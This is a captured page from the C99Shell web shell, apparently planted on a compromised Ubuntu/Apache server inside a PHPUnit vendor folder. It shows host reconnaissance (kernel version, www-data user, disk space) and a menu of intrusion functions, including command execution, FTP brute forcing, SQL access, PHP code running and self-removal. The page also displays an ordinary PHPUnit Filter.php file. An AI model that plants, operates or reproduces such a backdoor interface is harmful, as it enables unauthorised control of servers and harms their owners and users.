!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/phpunit/phpunit/src/Util/   drwxrwxr-x
Free 13.25 GB of 57.97 GB (22.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Filter.php (3.34 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Util;

use function 
array_unshift;
use function 
defined;
use function 
in_array;
use function 
is_file;
use function 
realpath;
use function 
sprintf;
use function 
strpos;
use 
PHPUnit\Framework\Exception;
use 
PHPUnit\Framework\SyntheticError;
use 
Throwable;

/**
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class Filter
{
    
/**
     * @throws Exception
     */
    
public static function getFilteredStacktrace(Throwable $t): string
    
{
        
$filteredStacktrace '';

        if (
$t instanceof SyntheticError) {
            
$eTrace $t->getSyntheticTrace();
            
$eFile  $t->getSyntheticFile();
            
$eLine  $t->getSyntheticLine();
        } elseif (
$t instanceof Exception) {
            
$eTrace $t->getSerializableTrace();
            
$eFile  $t->getFile();
            
$eLine  $t->getLine();
        } else {
            if (
$t->getPrevious()) {
                
$t $t->getPrevious();
            }

            
$eTrace $t->getTrace();
            
$eFile  $t->getFile();
            
$eLine  $t->getLine();
        }

        if (!
self::frameExists($eTrace$eFile$eLine)) {
            
array_unshift(
                
$eTrace,
                [
'file' => $eFile'line' => $eLine]
            );
        }

        
$prefix      defined('__PHPUNIT_PHAR_ROOT__') ? __PHPUNIT_PHAR_ROOT__ false;
        
$excludeList = new ExcludeList;

        foreach (
$eTrace as $frame) {
            if (
self::shouldPrintFrame($frame$prefix$excludeList)) {
                
$filteredStacktrace .= sprintf(
                    
"%s:%s\n",
                    
$frame['file'],
                    
$frame['line'] ?? '?'
                
);
            }
        }

        return 
$filteredStacktrace;
    }

    private static function 
shouldPrintFrame(array $frame$prefixExcludeList $excludeList): bool
    
{
        if (!isset(
$frame['file'])) {
            return 
false;
        }

        
$file              $frame['file'];
        
$fileIsNotPrefixed $prefix === false || strpos($file$prefix) !== 0;

        
// @see https://github.com/sebastianbergmann/phpunit/issues/4033
        
if (isset($GLOBALS['_SERVER']['SCRIPT_NAME'])) {
            
$script realpath($GLOBALS['_SERVER']['SCRIPT_NAME']);
        } else {
            
$script '';
        }

        return 
is_file($file) &&
               
self::fileIsExcluded($file$excludeList) &&
               
$fileIsNotPrefixed &&
               
$file !== $script;
    }

    private static function 
fileIsExcluded(string $fileExcludeList $excludeList): bool
    
{
        return (empty(
$GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST']) ||
                !
in_array($file$GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST'], true)) &&
                !
$excludeList->isExcluded($file);
    }

    private static function 
frameExists(array $tracestring $fileint $line): bool
    
{
        foreach (
$trace as $frame) {
            if (isset(
$frame['file'], $frame['line']) && $frame['file'] === $file && $frame['line'] === $line) {
                return 
true;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0157 ]--